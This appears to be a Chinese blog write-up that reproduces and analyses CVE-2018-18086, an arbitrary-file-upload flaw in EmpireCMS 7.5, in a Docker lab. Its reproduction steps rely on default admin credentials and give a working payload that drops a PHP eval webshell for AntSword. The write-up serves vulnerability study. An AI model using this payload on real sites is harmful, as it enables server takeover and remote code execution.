文章目录
一、简述👋
- 漏洞描述 EmpireCMS(帝国网站管理系统)是一套内容管理系统(
CMS
),EmpireCMS 7.5版本及之前版本在后台备份数据库时,未对数据库表名做验证,通过修改数据库表名可以实现任意代码执行
,EmpireCMS7.5版本中的/e/class/moddofun.php文件的LoadInMod函数
存在安全漏洞,攻击者可利用该漏洞上传任意文件,该漏洞编号为CVE-2018-18086
- 影响版本 EmpireCMS<=7.5
- 官方下载EmpireCMS V7.5 下载地址:
http://www.phome.net/download/
二、安装环境👋
- docker拉取镜像
empirecms-cve_2018_18086
- 创建容器
- 如果对docker安装不熟悉,可以参考文章:Centos使用Docker搭建Lamp环境,一步到位
- 这样打开网站IP后,发现直接就是根目录,我们需要把
/var/www/html/empirecms
目录里的文件复制到/var/www/html/
去,避免暴露根目录
三、漏洞复现👋
1、直接在
empirecms/e/admin
下打开管理后台
2、在爆破或账号密码进入后台后(默认账号密码为admin/123456)
3、依次点开系统,打开管理数据表,选择导入系统模型
新建shell.php.mod文件并上传,文件内容如下:
file_put_contents("1shell.php",<?php phpinfo();?>);
4、在导入文件后
生成的
1shell.php
文件在
/admin目录
下,即可访问
empirecms/e/admin/shell.php
5、同时,如果为了连接蚁剑等,注意
$符号
需要转义
<?phpfile_put_contents("getshell.php","<?php @eval(\$_POST[123]);?>");?>
四、原理分析👋
1、下载安装文件分析,在
/e/admin/ecmsmod.php
文件下的导入模型
2、而进入到LoadlnMod函数,来到
/e/class/moddofun.php
- 标注第一点,判断上传文件类型,文件后缀只能是
.mod
- 标注第二点,上传文件处使用time().make_password(10)进行文件名加密,同时拼接
.php
作为文件名 - 标注第三点,用
include
进行一次包含,执行上传的PHP代码,即可以通过创建文件的代码绕过
3、因为一开始的导入模型文件是在
/e/admin
目录下,所以创建的
shell.php
在
/admin
目录下
版权归原作者 迷途羔羊pro 所有, 如有侵权,请联系我们删除。